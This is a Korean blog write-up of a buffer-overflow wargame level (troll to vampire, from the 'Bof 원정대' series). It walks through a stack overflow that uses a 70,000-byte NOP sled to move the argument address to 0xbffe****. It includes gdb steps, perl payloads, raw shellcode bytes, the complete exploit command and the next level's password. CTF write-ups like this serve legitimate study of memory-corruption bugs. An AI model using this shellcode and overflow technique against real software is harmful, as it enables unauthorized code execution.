심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (troll -> vampire)

1. 취약점



전 단계와 달리 매개변수의 사용은 1개 이상 사용해도 되는데 argv[1][46]을"\xff"를 사용하면 안된다

이 때까지 모든 새로운 Retrurn Address의 경우에 0xbfff**** 형태였기 때문에 당황스러운 조건문이다.


따라서 함수가 호출되었을 때 스택이 쌓이는 순서는 고드름처럼 아래로 성장하는 구조임을 활용하여

아주 많은 양의 nop를 넣어서 argv[2]의 주소를 "bffe****"로 만드는 것이 중요하다.

참고로 bfff****와 bfffe****는 최대 65,536의 차이가 난다.


2. Exploit

1. bash2를 사용하고 vampire.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp vampire.c /tmp/vampire.c && cd /tmp


2.  gcc로 컴파일 한후 gdb로 디버깅을 한다. 

$ gcc -g -o vampire vampire.c

$ gdb -q ./vampire


3.  중단점을 초기 상태로 한다. 우리의 관심은 argv의 주소의 변화이다.

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x44, "\xfe\xbf\xfe\xbf"'` `perl -e 'print "\x90"x70000, "B"x39'`



노가다는 즐거워!!! ㅋㅋㅋㅋㅋ

우선  bfff****와 bfffe****는 최대 65,536의 차이가 난다는 점을 이용해서 6만부터 만단위로 대입을 했는데

7만을 대입하니 argv의 주소의 상태가!!??? bffe**** !!!!


(gdb) x/200x $esp


짝짝짝.. Return Address는 0xbffeeae8로 정했다


4. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3

 


5. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ./vampire  `perl -e 'print "A"x44, "\xe8\xea\xfe\xbf"'` `perl -e 'print "\x90"x70000, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`



8. 결과

   id :  vampire   passwd : music world

,